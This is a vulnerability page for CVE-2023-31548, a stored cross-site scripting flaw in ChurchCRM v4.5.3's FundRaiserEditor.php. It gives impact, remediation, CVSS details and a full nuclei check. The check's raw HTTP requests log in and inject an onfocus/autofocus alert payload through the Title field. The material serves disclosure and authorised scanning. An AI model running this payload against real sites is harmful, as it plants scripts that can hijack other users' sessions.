Browse / CVEs / CVE-2023-31548
CVE-2023-31548· churchcrm / churchcrm· CWE-79
ChurchCRM v4.5.3 - Cross-Site Scripting
A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
How to confirm it
Send: POST /session/begin ; POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>") and contains(body_2, "ChurchCRM")Run it with nuclei: nuclei -id CVE-2023-31548 -u <target>
The full check
id: CVE-2023-31548
info:
name: ChurchCRM v4.5.3 - Cross-Site Scripting
author: Harsh
severity: medium
description: |
A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
- https://nvd.nist.gov/vuln/detail/CVE-2023-31548
- https://github.com/10splayaSec/CVE-Disclosures
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-31548
cwe-id: CWE-79
epss-score: 0.01248
epss-percentile: 0.69595
cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: churchcrm
product: churchcrm
tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln
http:
- raw:
- |
POST /session/begin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User={{username}}&Password={{password}}
- |
POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test
redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
- 'contains(body_2, "ChurchCRM")'
condition: andReferences
- https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
- https://nvd.nist.gov/vuln/detail/CVE-2023-31548
- https://github.com/10splayaSec/CVE-Disclosures
Use this check only on systems you are authorised to test. Where the data comes from